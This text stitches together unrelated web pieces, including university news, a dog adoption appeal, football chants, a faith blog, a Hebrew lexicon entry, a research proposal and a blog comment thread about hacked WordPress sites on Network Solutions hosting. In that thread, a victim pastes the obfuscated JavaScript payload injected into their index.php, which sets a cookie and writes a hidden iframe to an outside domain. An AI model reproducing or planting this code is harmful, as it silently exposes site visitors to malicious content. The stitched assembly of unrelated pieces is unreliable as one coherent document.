AVP Draws Inspiration From Students, Sees OpportunityPublished: October 15, 2013
Andy Hoang, the new associate vice president of University Relations and Communications, likes the feel of the CSULB campus. He also sees tremendous opportunity.
"There is a unique opportunity here to make a lasting impact," he said, when asked what drew him to CSULB. "We need to humanize and personalize the stories of Cal State Long Beach and convey it at a regional and national level so people have a deep understanding that CSULB is a destination of choice where college dreams are fulfilled in a transformative environment."
Hoang brings with him an extensive and varied background that includes more than 12 years of experience in marketing, communications, media relations, video production, website development, publications, public affairs and community outreach.
He worked for seven years at Palomar Pomerado Health in San Diego, and oversaw media and public relations, where he led and directed its Proposition BB campaign which secured a $496 million health-care bond measure—the largest in state history. In addition, he successfully directed public relations and public affairs initiatives for Palomar's $1 billion hospital expansion project.
Prior to coming to CSULB, Hoang spent the last two years at the world-renowned Salk Institute in La Jolla, where he worked with some of the world's top scientists in what he called "an atmosphere that struck the perfect balance of science, creativity and excellence—no other place captures this spirit like Salk."
At Salk, Hoang oversaw media relations, strategic communications, and marketing and branding. He developed the communications plan to support a $300 million capital campaign and created and launched the institute's inaugural 5K Walk for Salk—a charity event for research. His work at the institute increased the Salk's profile and brand recognition worldwide.
"You're only as good as your team, and I have been fortunate to have worked with exceptional people who supported me and helped bring ideas to life," he said.
While at Salk, Hoang clearly drew his inspiration from scientists and the work they did. At CSULB, he is motivated by students and the dreams they have.
"The diversity on campus—from our students to the exceptional academic programs we offer—is what makes this university special," he said. "It's indicative of our core mission, and that's to provide an opportunity for people to fulfill their dreams of going to college, obtain an education, and give back to their communities and have an impact that will affect future generations. I hope to have the same positive impact here at CSULB."

Dog Still Smiles Even After Waiting 1,265 Days At The Shelter
1,265 days. Almost three and a half years. That's how long Elijah has been waiting for his chance to be part of a family.
In 2013, Elijah was found as a stray near New York's busy Long Island Expressway by a couple of police officers who brought him to the Brookhaven Animal Shelter. Little is known about his life before he was found, but that day was the first of many that included a warm bed, medical care and a full belly.
Sadly, weeks turned into months, and months turned into years. Elijah has had three birthdays without presents from a mom or dad. He's had three Thanksgivings without someone slipping him a piece of turkey or two under the table. Three Halloweens without anyone dressing him up in a silly costume.
Through it all, Elijah still smiles. Every time someone walks up to his cage, every time a volunteer takes him for a walk - pretty much any time a human is near - he beams with delight.
"He's just happy being someone's companion. He really engages with you," Ashley Boyd, director of Brookhaven Animal Shelter, told The Dodo. "Even after three years at the shelter, he's never become distant from people. He has a really desirable personality, and he's just a really good dog."
Estimated to be 6 to 7 years old, Elijah still has a ton of energy. He can amuse himself for hours just playing with his ball, as shown on the Facebook page created to help get him adopted.
He recently spent a weekend in New York City with temporary foster parents and behaved very well, loving the stimulation of the bustling metropolis during his walks before snuggling up on the couch afterward.
"He's a huge lap dog!" said Boyd.
And huge is right. At 75 pounds, Elijah isn't exactly a small guy. Boyd fears this is part of why he is constantly overlooked. Energetic and large could make it difficult for the right person to get to know Elijah, but he takes direction well and is eager to please - he just needs training and regular exercise.
"After a few walks per day, Elijah is happy to cuddle up and relax - he's actually a great city dog!" said Boyd.
In July, Elijah was transferred to the Southold Animal Shelter in Peconic, New York, a private shelter with fewer animals so Elijah can get more personalized attention.
"He's a gorgeous, sweet guy who will need some adjustment, but I really can't say anything bad about him," Gabby Stroup, Southold's manager, told The Dodo. Stroup is optimistic that, given time and training, a new family isn't too far away.
Elijah's ideal home would be without cats or small children. He is looking for a foster family in the New York area, but can be adopted to further states with transportation. Stroup will take into account all interested families as long as they are willing to work with Elijah.
1,265 days, three and a half years, have not deterred Elijah from being his happy self. For more information on adopting Elijah, please contact Southold Animal Shelter or call 631-765-1811.

Kiyavash receives NSF CAREER award to study timing in network forensics
Negar Kiyavash has received an NSF CAREER Award for her work on the impact of timing in network security.
The project, "CAREER: A Timing Approach to Network Forensics," examines how timing can be used as another dimension in diagnosing threats to network security. The broader impact of the research is in understanding inference over complex networks such as social networks, biological systems and financial networks.
"In forensic applications, timing can help us link events and even understand causation and intent," said Kiyavash, an assistant professor of industrial and enterprise systems engineering. "It gives us insight into potential threats."
Kiyavash's CAREER award, which totals $450,000, will fund her research in four thrusts. The first deals with the analysis and mitigation of queuing timing side channels that arise in the presence of shared resources. When resources are shared, a certain amount of information gets leaked to other users even when not intended. Kiyavash's work will help quantify and mitigate the leakage.
The second thrust is the development of casual inference metrics and algorithms. Identifying cause-and-effect relationships will help us learn beyond what is feasible by study of correlations alone. In a social network like Facebook, for example, you could identify in a group of friends, which one influences the others.
Third, Kiyavash will examine the design of efficient compression and storage approaches for network flows using good lossy compression codes for point processes. And finally, she will design network flow watermarks to be inserted in packet timings, which will serve the dual purpose of providing data integrity as well as a means for network inference.
"There would be applications in computer security, such as detecting stepping-stone attacks," she said. "You could insert watermarks into network flows, which would serve as a kind of tracking device to signal malicious activity."
Kiyavash joined the Illinois faculty in 2009, after earning her M.S. and Ph.D. degrees in electrical and computer engineering from the University of Illinois at Urbana-Champaign. She also holds a B.S. degree in electrical and computer engineering from the Sharif University of Technology, Tehran.
NSF's CAREER Award is given to junior faculty "who exemplify the role of teach-scholars through outstanding research, excellent education, and the integration of education and research within the context of the mission of their organizations."
Kiyavash credits the supportive environment in her department and the college, her students and her collaboration with other brilliant colleagues key components in receiving the award.
"Research at Illinois is very synergistic," she said. "Involvement in multidisciplinary research across the college inspires my research."

Hamburg values: SPbPU students contributed a lot to an international ecology project
According to the world statistics the amount of waste increases by several percent a year. Thus, it was estimated that each citizen produces approximately one ton of solid wastes per year, and the figure keeps increasing. This makes the solid waste disposal issue significantly important.
Undoubtedly, this problem can be regarded to our city and the whole country as well: the landfills of St. Petersburg are overloaded, whereas Russian scientists are striving for creating new methods of solid wastes disposal. Considering the immensity of the problem and the impact on health and environment that the recycling has, 2017 was declared the Year of Ecology. Given this fact, "The Regional Municipal plan for solid wastes disposal" implemented as part of the collaboration between SPbPU and Hamburg University of Technology, acquires increasing relevance.
The international project contest, organized by the Hamburg University of Technology, started out in October, 2016 involving representatives of the universities worldwide. The project includes online lectures on waste disposal. Lectures are delivered in English. Furthermore, with the new knowledge and tips acquired the students of the Graduate school of Biotechnology and Food Science get a challenge to make their own project aimed at collecting and recycling of solid wastes in St. Petersburg over a ten-year period.
The Supply Center for International Activity hosted a project-related video conference on January, 17. It summarized the results of the three-month project: eight Russian participants – students and masters of the Graduate School of Biotechnology and Food Science (led by prof. N. Politaeva and ass. prof. I. Pankina) made a presentation about their achievements. A true assessment was given to the current ecological situation in St. Petersburg and the region, methods of solid waste collection and prospective technology of its recycling were also specified. Besides, our participants elaborated a development plan for the next 20 years, which comprises the main recycling solutions and new directions for the project implementation basing it on climatic and geographical characteristics of St. Petersburg.
Business performance of the project was assessed too. The presentation made by German experts generated much interest and vivid debates especially over the issues related to production technology development and ways to use biogas produced from organic biomass.
"We are very grateful to our German colleagues, professor Kirstin Kuhta and PhD student Irina Atamanyuk in particular, for the invitation to take part in this project," - says N. Politaeva, -"It provides an excellent opportunity for our students to develop, get a better understanding of their abilities, and, for some of them, to boost their knowledge and self-esteem". More words of appreciation were said to the international relations office of SPbPU and the GSBFS for their contribution in running the video conference with Hamburg.
In her turn, professor of Hamburg University of technology Kirstin Kuhta pointed out: "We are glad to welcome SPbPU as a new participant of our annual project, for their new approach to wastes disposal surely is a very interesting one".

Classic sung in the famous Anfield pub The Albert.
If you're tired and you're weary, And your heart skips a beat, You'll get your f**king head kicked in, If you walk down Heyworth Street, If you come to The Albert, You'll hear our famous noise, Get out you Everton b**tards, We're the Billy Shankly Boys… We're the boys from The Kop, We're loyal and we're true, And when we play the Everton, We're ready for a do, With a cry of '"NO SURRENDER'", You'll hear our famous noise, Get out you Everton b**tards, We're the Billy Shankly Boys…
Fields of Anfield Road v2 Chant
The chorus for this classic football song. One of the best!
Oh When the Reds Go Marching In Chant
Marching on in.. Classic anthem (makes a good ringtone).
To the tune of Sloop John B (I Want To Go Home) by the Beach Boys...
We always will. Say's it all about this club. This is my ringtone.
The one and only Liverpool Football Club. Another classic Liverpool ringtone for your mobile phone.
The Hillsborough disaster occurred during the semi-final FA Cup tie between Liverpool and Nottingham Forest on 15 April 1989. Tragically 96 Liverpool fans were killed. LFC fans were blamed until the inquiry released in Sept 2012 cleared LFC fans of blame

There has been so much talk about abortion lately. So many people are quick to exert their opinion and to ask questions like, who would ever, how could somebody choose, or why in the world?
This post is only for people who have or have had a deep dark secret, have skeletons in their closet, or have had an abortion. If you're not one of those people then this is not for you.
If you have a deep, dark secret (like having an abortion, perhaps) I bet you've kept it a secret for a reason.
Shame. Guilt. Don't want to deal with the judgement of people finding out…
Here's what I have to say about that:
The ONLY opinion of you that matters is from God. And He knows about the deepest, darkest places of your soul. And He loves you more than you could ever dream of being loved.
"And I pray that you, being rooted and established in love, may have power, together with all the Lord's holy people, to grasp how wide and long and high and deep is the love of Christ, and to know this love that surpasses knowledge – that you may be filled to [the brim] of all the fullness of God,"
Ephesians 3:17-19 (NIV), words in [ ] are mine.
God forgives all of the darkest places when we come to Him and ask. That's all it takes. Asking.
And if you've found yourself in a deep, dark hole because of your shame or guilt I want to encourage you. There is ALWAYS a way out. There is ALWAYS hope. There is ALWAYS love. Even down there in the deepest, darkest pit. Find a pinhole of light and begin moving toward it. Even if it feels like it's a million miles away. And even if it feels as if you have to cross the entire world to get to it. Take one step toward the light today. And if that's all you can do today, great! You can take another step towards the light tomorrow. Before long, the light will seem so bright you will wonder how you traveled so quickly!
I hear some of you saying, "Carrie! How do YOU know what it feels like to be judged because of what you've done or not done or what's been done to you?"
Well, because I have lived this truth. See, I am one of those that has had an abortion. I let my decision pull me down into the deepest, darkest pit I couldn't even imagine. And I didn't tell a soul. For 10 years I let this dark pit grow until it consumed me. And I wanted to die.
I've lived with the shame and regret and guilt of my decision for almost 20 years now. And what I've learned is that forgiving yourself is the hardest part. And I've also learned it's so worth the decision.
I now live in freedom from my past. It no longer holds me in bondage. All because of the love and forgiveness of God. And God has asked me to encourage women with my story. So, I boldly (only with God's help) step out and tell you my deepest, darkest secret.
If you're out there hiding in the darkness because of fear I encourage you to reach to God. Ask Him to help you walk towards His healing, loving, peaceful light. And if you need someone to talk to, I'm happy to listen as well.

"I grew up in a house where my Dad was a phenomenal music freak. He had a massive record collection and music was always on at home. My first instrument was voice. I was lucky enough to attend a choir school in New York and was a soprano soloist at a very young age. After that, I studied piano and violin, and played rock guitar in a band. I entered the New England Conservatory of Music as a composition student. I went through a creative crisis in my second year, as I was more interested in studying the music of the masters than in composing my own. That's what drew me into analysis and theory and, ultimately, conducting.
"I first came to D.C. in 2004 to be the Director of Orchestral Activities and conductor of the American University Symphony Orchestra. The Dean of Academic Affairs at American called my attention to the DC Youth Orchestra. It so happened that the DC Youth Orchestra was looking for a conductor for their top orchestra. I applied. Now, here I am. This is my first experience working with kids this young, but it's been a nice adjustment. They're very serious about what they're doing.
"We have over 600 students from 4 1/2 to 21 years old. The orchestra is diverse geographically, and we have kids of all ethnicities, races and religions. It's a rainbow organization. The mission of this organization is that we turn no one away. The student has to have interest and a sense of responsibility. We do the rest. We even provide instruments if they can't afford them. The DC Youth Orchestra is a twelve-level program. Every year, we start with a petting zoo of kids who are all two feet tall. They pick an instrument that speaks to them and, usually, they stick with it. We have a lot of kids who are lifers. They come in early and stick with it all the way through high school. This program becomes a very meaningful and essential part of their lives.
"We can boast that 100 percent of our students graduate from high school and most of them go to college. Some even go on to the great musical conservatories. One of the things we take great pride in is the values our students learn by being exposed to the great musical idea, rehearsing as an ensemble, and taking responsibility for themselves. All of these things serve them well in life. There are a number of studies which demonstrate that kids who grow up doing music really wind up excelling in life. Music teaches fundamental values that apply across all disciplines."

the Spirit of TRUTH
2146 רָחַם (rāḥam) I, love deeply; have mercy, be compassionate. Denominative verb.
Parent Noun
2146a רֶחֶם (reḥem), רַחַם (raḥam) womb.
2146b רַחֲמִים (raḥămîm) tender mercy.
2146c רַחוּם (raḥûm) compassionate.
2146d רַחֲמָנִי (raḥămānî) compassionate women (Lam 4:10).
This root refers to deep love (usually of a "superior" for an "inferior") rooted in some "natural" bond. In the Piel it is used for the deep inward feeling we know variously as compassion, pity, mercy. Probably rāḥam is related to Akkadian rêmu (cf. Ugaritic rḥm, G. Schmuttermayr, "RHM—Eine lexikalische Studie," Bib 51:499ff.). This root is to be distinguished in emphasis from ḥûs and ḥāmal. Sometimes ḥānēn is rendered "mercy" with emphasis on the graciousness with which such is extended. This verb and its derivatives occur 133 times.
rāḥam is used infrequently (twelve of forty-seven times) of men. It is used only once in the Qal when the Psalmist confesses his love for Jehovah (18:1 [H 2]). The depth of this love is shown by the connection of this word with reḥem/raḥam. Compare. Isaiah (49:15) who uses it of a mother's love toward her nursing baby. It can also refer to a father's love (Ps 103:13). Apparently. this verb connotes the feeling of mercy which men have for each other by virtue of the fact that they are human beings (Jer 50:42) and which is most easily prompted by small babies (Isa 13:18) or other helpless people. It is this natural mercy for the helpless that Israel's and Babylon's enemies will lack in their cruelty (Isa 13:18; Jer 6:23), although God may give Israel's enemies such feeling (compassion) (I Kgs 8:50; Jer 42:12). Indeed, the prophets (Isa 13:18) conjoin ḥûs (the feeling which flows from one to another), ḥāmal (the strength of feeling which leads one to action in behalf of another, i.e. to spare them some difficulty), and rāḥam (the deep inner feeling based on some "natural" bond) when describing what Babylon (Jer 21:7) and God (Jer 13:14) will lack toward Israel.
This root is frequently used of God. It incorporates two concepts: first, the strong tie God has with those whom he has called as his children (Ps 103:13). God looks upon his own as a father looks upon his children; he has pity on them (cf. Mic 7:17). The second concept is that of God's unconditioned choice (ḥānēn, grace). God tells Moses that he is gracious and merciful to whomever he chooses (Ex 33:19).
There are several ideas attached to God's deep, tender love: first, the unconditional election of God (Ex 33:19); next, his mercy and forgiveness toward his people in the face of deserved judgment and upon the condition of their repentance (Deut 13:17 [H 18]); also, God's continuing mercy and grace in preserving his unrepentant people from judgment (II Kgs 13:23). Thus this attribute becomes the basis in part of an eschatological hope (cf. Isa 14:1; 49:13; 54:7; Jer 12:15; 33:26; Ezk 34:25; Mic 7:19; Zech 1:16). It is noteworthy that Deuteronomy (30:3) prophesies the exile because of Israel's sin, stipulating that repentance will meet with God's tender compassion. So we read of the withdrawal of God's mercy resulting in harsh judgment at the hands of Babylon (Isa 9:17 [H 16]; 27:11; Hos 2:4 [H 6]). During the exile Israel's leaders encouraged the people with God's electing love and tender-mercy (Lam 3:32), and led them in humbling themselves in repentance, calling upon God to reinstate his fatherlike compassion (Zech 1:12). The restitution of the father-son relationship and the return from the exile witnesses this accompanying loving care (Hos 2:23 [H 25]). Scripture makes it certain that the exile was brought by God and terminated by God (Ezk 39:25) according to his sovereign providence (Isa 30:18; cf. E. J. Young, The Book of Isaiah, II, p. 353f.). Finally, the prophets' message regarding the return from the exile opens onto a permanent state where the father-son relationship will never be broken (Hos 2:23 [H 25]; Isa 54:8, 10).
(raḥămîm). Tender mercy, compassion. This word shows the link between rāḥam, "to have compassion" (Piel) and reḥem/raḥam, "womb," for raḥămîm can refer to the seat of one's emotions (Gen 43:30) or the expression of one's deep emotion (I Kgs 3:26); cf. J. Pedersen, Israel, 1936, pp. 309, 525).
raḥămîm recalls in various situations that God's tender-mercy is rooted in his free love and grace. Hence, God's punishment is more desirable than man's wrath (II Sam 24:14). God's mercy is often combined with his ḥesed "love," "kindness" and ḥēn "grace," "unmerited favor." God's anger and wrath are the opposite of his loving mercy (Deut 13:18; Zech 1:12; Ps 77:9). In times of captivity (esp. the exile, Dan 9:18) Israel is summoned to repentance on the grounds of God's fatherlike compassion (II Chr 30:9), and God responds (Isa 54:7). The Psalmist often beseeches God for expressions of his tendermercies to relieve his distress (Ps 51:1 [H 3]) or confesses that undeserved relief is due to God's tendermercies and grace (Ps 103:4). The eschaton is to witness God's unconditional and unbroken love and care (Hos 2:19 [H 21]); when Israel repents (Deut 30:3; Isa 55:7; Zech 12:10).
(raḥûm). Compassionate, merciful. This adjective is used only of God (with the possible exception of Ps 112:4) setting forth one of his attributes, i.e. what God gives forth in rāḥam he has in raḥûm.
רַחֲמָנִי (raḥămānî). Compassionate. This adjective describes the depth of feeling a mother's love can reach. Women who so loved their children boiled them for food during the siege by the Babylonians (Lam 4:10).

There is no such thing as bad weather, only inappropriate clothing. -Sir Rannulph Fiennes, the world's greatest explorer.
April 22nd marks the 49th Earth Day celebrated in the United States. The concept was introduced to raise awareness for the many troubling environmental threats that Americans had been largely ignoring. This year's focus is on ending plastic pollution. At Academy of Early Childhood Learning, we would like to use it as a day to bring to light the importance of nature in children's lives. 50 years ago, families and educators could take for granted that young children would spend time outdoors (Clements 2004). Present day children, with growing interest in technology, have the world at their fingertips through Google and YouTube yet have never peered closely into a newly bloomed bud or watched tiny ants empty a beetle's exoskeleton. Tomorrow's stewards of this incredible natural wonderland are in our classrooms today and are open to deepening their connection with nature (Rivkin 2014). There are many psychological, sociological and physical benefits outlined in the book, The Great Outdoors.

It's almost time!
Teachers Write! is an online virtual summer writing camp for teachers and librarians who understand how important it is for people teaching writing to walk the walk. If you're a teacher or librarian who would love to work on your own writing, we'd love to have you join us. If you already know about Teachers Write, you can go straight to the sign-up form. Otherwise, read on…
Here's how it all works:
Primary Location: www.katemessner.com/blog (Post Category: TeachersWrite) New posts will be shared each weekday morning, and you can check in whenever it's convenient.
Dates: June 24th – August 16th
Schedule is kind of an ugly word for summer, isn't it? So let's call this the plan-of-the-day instead. Feel free to participate in whatever floats your boat and skip the rest.
Mini-Lesson Mondays: Mondays will feature a mini-lesson on writing craft or logistics (how to make time has been a big question already!). I'll share a workshop-style lesson with ideas, tips, and examples, and then there will be something to work on during the week. Or not. You can also just bookmark it for later. It's summer, after all.
Monday Morning Warm-Up: Hosted by author Jo Knowles, this features a weekly warm-up to get you started after teh weekend!
Tuesday Quick-Write: Tuesdays will feature a writing prompt that can be used to brainstorm new ideas or deepen your thinking on the project you're working on now.
Wednesday Q and A: Ever wished you could just pick an author's brain about how they do it? Each Wednesday, we'll have a post where anyone can ask questions about writing . I'll answer, along with an awesome panel of author friends who come to visit.
Thursday Quick-Write: Like Tuesdays, Thursdays will feature a writing prompt that can be used to brainstorm new ideas or deepen your thinking on the project you're working on now.
Friday Writing Happy Hour: We're heading over to visit author Gae Polisner at her blog every Friday. She'll be hosting a Feedback Friday there, so stop by to share your work & offer feedback to others.
Friday Bonus: There will be some Friday surprises, too. Book giveaways, special guests, photos of bullfrogs…it's hard to say.
Sunday Check-In: Weekends are for recharging, spending time with family and friends…and that includes online writing friends, too! Amazing teacher-writer Jen Vincent is having a weekend get-together on her blog, Teach Mentor Texts. Jen will be hosting an online writing group there. Each Sunday, she'll be sharing reflections on her journey as a teacher who writes and encouraging others along the way. Think of it as a support group for writers, and head over there on Sundays to talk about goals, progress, struggles, and more.
Beyond these daily posts, you can expect the occasional surprise along the way – guest posts and some book giveaways for your classroom libraries, because teachers & librarians who write are worth celebrating.
Teachers Write! Virtual Summer Writing Camp Q and A
Who can join?
This writing camp is for teachers and librarians who work with kids of any age in any capacity. I'd ask that the Q and A and feedback requests be limited to them and the published authors who agree to help out, so the people who are working with kids get plenty of attention when it comes to mentoring and feedback. If you're not a teacher or librarian, you're still more than welcome to follow the posts and do the writing.
What does it cost?
It's free. You'll see that on the sign-up page, we're asking that you buy a couple books to support the work of the authors who organize, if you can. Otherwise, there's no cost at all. If you're a teacher or librarian who's found this, you've probably put a lot of my books in a lot of kids' hands already, or nominated them for state award lists, or reviewed them online, or purchased copies for your library. I'm thankful for all of those things– and this seemed like a fun way to say so. Our guest authors you'll meet along the way are volunteering their time for the same reasons — because we appreciate teachers & librarians and value the work that you do. Please support all of their books when you can.
Umm…I followed a link on Twitter and ended up here. Who are you, exactly?
Oh, hi! I'm Kate. I write books for kids of all ages, and I wrote a book about revision for teachers. I was a middle school English teacher for a long time and will never really get that out of my system. You can explore my website links to learn more. My favorite things are my family, being outside, reading, writing, and chocolate. All that should help you decide if you'd like to hang out here for the summer or not. I'm friendly, I promise.
What if I'm brand new at this whole writing thing?
Then the Teachers Write! Virtual Summer Writing Camp is especially for you. Welcome. You don't need a license or a creative writing degree or permission from anyone to be a writer. All you need is the desire to write. Beginners and experienced writers are all welcome. Don't worry… you can go at your own pace and only share what you want to share. If you're happier lurking as a stealth writing camp member, that's okay, too.
So will you respond to our questions and give us feedback?
Yes. But be patient with me, okay? I have three writing deadlines and some book travel this summer and marshmallows to roast, too, so it may take me a while for me to approve and reply to all the comments sometimes. The good news is that this camp can run quite nicely even if I'm away. Daily posts will be scheduled, and all of you can cheer one another on and provide feedback. Our guest authors will be around to help with that, too.
What if I can't start until later? And what if I'll be on vacation the last week of July?
That's fine. Sign up. Join us when you can. Take breaks whenever you like. We'll keep your lemonade cold while you're away.
How do I sign up?
You click here and fill out the form. You are welcome to sign up for camp at ANY time during the summer, even if you miss the first weeks.
If you tweet about writing camp along the way, please use the hashtag #TeachersWrite to help facilitate the conversation on Twitter.
If you're on Facebook, you may also want to join the TeachersWrite! group there so you can connect with other members & receive notifications. Just go here & click on the "Join Group" button on the top right of the page. It may take me a day or so to approve your membership, but then you'll be able to see all the members & links.
Got Questions?
Fire away in the comments – and watch for an exciting list of Teachers Write! guest authors soon!
Note: 1st-time commenters on this blog need to be approved, so don't worry if your question or sign-up comment doesn't appear right away. I promise to get to them all within a day or two.

Almost half the world's population, some three billion, lives on less than US$2.50 a day. These are the members of the base of the economic pyramid (BoP). Many incorrectly believe that those at the BoP live without spending or saving money, content to scrape by with the minimum amount of food to survive. The public also frequently believes that the BoP is so burdened with immediate concerns that they cannot possibly plan for a financial future. They also believe that it must be impossible for the BoP to have any sort of savings. All of these statements assume that the poor are destitute and do not have any spending or financial management abilities. This assumption is incorrect and riddled with myths. In the book Portfolios of the Poor, the authors eloquently point out that the poor maintain active financial lives precisely because they are poor and cannot afford to do otherwise.
In this course, we examine a number of questions that will shed light on the spending patterns of the BoP. How is money spent? How is it saved? What is the role of formal and informal financial institutions? We will overturn some of the assumptions about spending at the BoP, demonstrating that those at the BoP have active financial lives. They spend, they save, they invest, they squander—not unlike what is seen in the developed world. By learning about how the poor manage money, more effective global health interventions can be designed and implemented.
This course is freely and publicly available. It is also part of the Social Marketing and Entrepreneurship Certificate Program. Enroll in the Social Marketing and Entrepreneurship Certificate Program Through Global Health University.

Epstein-Barr virus (EBV) is a common herpes virus that establishes life long persistence in the human host trough an elaborate regulation of different latency types and can directly transform B- lymphocytes. EBV causes the infectious mononucleosis and associates with several human malignancies such as Burkitt's lymphoma (BL), Hodgkin's disease, AIDS-associated B-cell lymphoma, primary CNS non-Hodgkin's lymphoma, gastric adenocarcinoma, X-linked lymphoproliferative syndrome, nasopharyngeal carcinoma and post transplant lymphoproliferative disease. In vitro EBV transforms B-cells into lymphoblastoid cell lines (LCLs). EBV uses the normal biology of B-lymphocytes to drive B cell development and survival in the absence of normal B- cell receptor (BCR) signals.
The general objective of the project is to define the mechanisms by which EBV regulates B cell fate. Specific objectives are:
1. To investigate the involvement of EBV-encoded proteins in modulation of receptor- and drug-induced apoptosis;
2. To test the hypothesis that EBV-encoded latent proteins regulate the expression of the cell surface receptor CD150;
3. To analyze the signal transduction via CD150;
4. To study protein-protein interactions of EBV-encoded proteins with the components of signal transduction pathways.
Specific tasks of this project will be:
T1. To obtain and characterize B cell lines infected by EBV and transfected by EBV-encoded proteins. This will include development of an experimental systems based on B cell lines, and characterization of cell surface phenotype and expression of apoptosis-associated proteins in these cell lines;
T2. To elucidate the involvement of a distinct EBV-encoded proteins in modulation of apoptosis. This will entail studies of apoptosis initiated via cell surface receptors and drug-induced apoptosis;
T3. To define the signal transduction pathways and mechanisms by which CD150 regulates immune responses. The signal transduction pathways initiated via CD150 will be investigated and the roles of the adaptor protein SH2D1A, the tyrosine kinases Lyn and Btk, the phosphatases SHIP and SHP-2 in the regulation of CD150-initiated signal transduction pathways will be clarified;
T4. Interactions between EBV-encoded and cellular proteins will be studied using yeast 2-hybrid system and surface plasmon resonance;
T5. Modelling of CD150 signal transduction pathways in B-cells using generalized chemical kinetic simulation method. A wide range of biochemical, molecular biology, immunological, confocal microscopy, immunocytochemistry, Fluorescence-activated cell sorting, functional (including cell death studies), surface plasmon resonance technique, computational and mathematical methods will be applied. Potential results will be expected: Experimental model systems will be created. Involvement of EBV-encoded proteins in modulation of apoptosis will be clarified. The signal transduction pathways that are initiated via CD150 will be determined and the role of CD150-associated proteins in these pathways will be found. Identification of the cellular components that are capable to interact with EBV-encoded proteins will allow creating a mathematical and computer model how EBV-encoded proteins could affect signalling pathways in B lymphocytes and regulate B cell fate. This will help to find cellular signal transduction pathways that are targeted by EBV and design the strategy of anti-viral therapy.

[…] This post was mentioned on Twitter by Denis. Denis said: [blog] Network Solutions and WordPress Security Flaw http://bit.ly/b3qJzG – my take on the mass compromise of WP blogs on NetSol network […]
Hi .
I work for Network Solutions and wanted to get in touch and compare notes. you can reach me at my signature below at network solutions.com
I'm glad I found this. My client has this issue. The blog doesn't work now and this is the second time he was hacked on NetSol (the first time he didn't have a blog). It's frustrating that such a big company as Network Solutions allows this, given the premium price they charge. I told him it's time to get out of Dodge.
Thank you for explaining this. I am not a developer just a user of wordpress at Network Solutions. Would you know where I could find the remedy to fix my site at this point? To remove the bugs? Thanks, Nancy
Not only network solutions hosted website have that hack.
Check the url.
how about this link..
i'm using newest avast antivirus and has get blocked to access this search result page..
Our first attack was Friday April 2nd in the footer, then April 4th in the header and then an all out assault and take-down on April 8th with dozens of iFrame inserts all over the page.
We are live this morning, crippled but live.
It seems from your comment that other hosts like GoDaddy might be subject to the attack if they have lots of WP sites.
NS are in high denial publicly.
What is the solution? Private hosting, host your own?
Mine is infected. I noticed it Friday 4/9. I have a sub-domain pointing to it I use so I redirected. It already is reported as unsafe to smartscreen filter. Probably several others.
Network Solutions offered a link to an article so they are aware. Here is the article if you are interested.
Going to read it now and see if I can fix it.
I work for Network Solutions and wanted to update you folks on the latest post that may help http://blog.networksolutions.com/2010/update-for-word-press-customers/.
Network Solutions Ticket#1-460208121
I've had an engineer watching and fixing my site based on the NS instructions and updates provided and the site has crashed and uprighted no less than 7 times in the last 5 days.
I'm a small business owner and can't afford another dime in engineering fees to repair this moving target of an issue. Today might site is still down. Network Solutions is killing my business and now I can't even afford to pay for an engineer to fix the issue.
I'm held hostage and it sucks to be treated this way.
-Chris Bell
Edit by Denis. Chris, I removed your site link from the signature since the site hasn't been fixed yet.
[…] Other hacks discovered […]
Not even going to bother with a ticket. I'm moving from network solutions. My site wasn't even live (in a development folder) and it was hacked.
Very interesting! I salvaged a client blog this week when Network Solutions was unable to resolve the problem after 3 days.
My client was very unhappy with Network Solutios already. We decided to move their entire site to a new hosting account.
Before making nameserver changes, I installed the site in a temporary folder. When the database import showed the same error, I dug into the database and noticed this iframe code in the database site url column of the options table. The site came up fine and all that remained to do was to re-attach images to posts. That's a whole 'nuther story. :)
After everything was in place so my clients could check it out, I went back to the Network Solutions database and removed the malicious iframe code from that table to no avail. Your post possibly explains why this had no effect.
After the site was checked out in the temp folder and found to be whole, we initiated the nameserver changes and put it up on its own domain. As of this morning, the registration has been transferred to another registrar too.
I'm not at all impressed the ability of Network Solutions to handle wordpress after woring with their "WordPress Hosting" package, which I couldn't talk another of my clients out of buying. I couldn't add plugins or different themes and called to ask why. I was told that "this was the way that it was setup." With all due respect, one can get that for free at WordPress.com.
The best part is this: A Network Solutions tech support person told me they wouldn't use the package. Now, that's a heck of a testimonial, isn't it? :)
The real problem is that NetSol is really lame hosting. Everything is easily readable without any hacking skill.
not sure if i found agreat solution or not. but works!
You have to change back in the DB > wp-options(table) > siteurl > hereinsteadof the iframe shit you put only your url (http ://…)
For me this sort of work i think.
After doing this change all the passwords you can even for the DB and CHMOD all files so they are secure.
Hope it works for you..
Add my site to the list of hacked sites. Also Network Solutions is down right now so I can't even login to transfer to another registar (9:52 CST 4/15/2101). I'm not sure if Networksolutions being down is related to the site hacking. Regardless this pisses me off. Network solutions just lost my business.
My site which has only been up for a week was hacked. I do not host a WordPress blog, but rather, vBulletin 4.0.3 Publishing suite with CMS (articles, blogs, forums). Are we sure that these attacks only limited to WordPress???? Here are the details of my incident today.
In several php files, including index.php, the one in root and the one in an administrative folder were completely emptied. 0 bytes. Nada. There were at least 7-10 other php files between root and and my admin folder that were affected. I have not changed anything in the header includes and footer. I had not made any changes that should have caused this. I tried restoring my site and db. Within 45 minutes, the site was down again. The error on my home page was:
Parse error: syntax error, unexpected '<' in /data/21/2/91/95/2091747/user/2293542/htdocs/index.php on line 71
I opened index.php via filezilla and the following code was appended to the end of a perfectly fine file, just after the end of the last comment int he file. Also, my permissions on the file are 660.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c–){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('h f(a,8,d){6 3=i m();3.l(3.k()+(d*n));6 5="; 5="+3.j();4.9=a+"="+8+5+"; "}6 c=4.9;b(c.v("g")==-1){4.o(\'\');f("g","1″,x)}',35,35,'||this|date|document|e xpires|var|src|value|cookie|name|if||hours|iframe| addCookie|seref|function|new|toGMTString|getTime|s etTime|Date|3600000|write|com|grep|height|width|ht tp|corpadsinc|indexOf|frameborder|24|onload'.split ('|'),0,{})) ;
I performed a complete restore of the web and db and everything is fine for now.
Edit by Denis: I removed your site link from your signature since the site problems are still not fixed.
Of course it's not a WordPress problem, any CMS/forum has to store database credential in a plain text file (that's why vBulletin got hacked too).
The real problem is Network Solutions' lame server configurations. Nobody should be able to see someone else's file on a shared server.
So do yourself a favour and change hosting provider.
More details:
Add NS server 220.127.116.11 to that list.
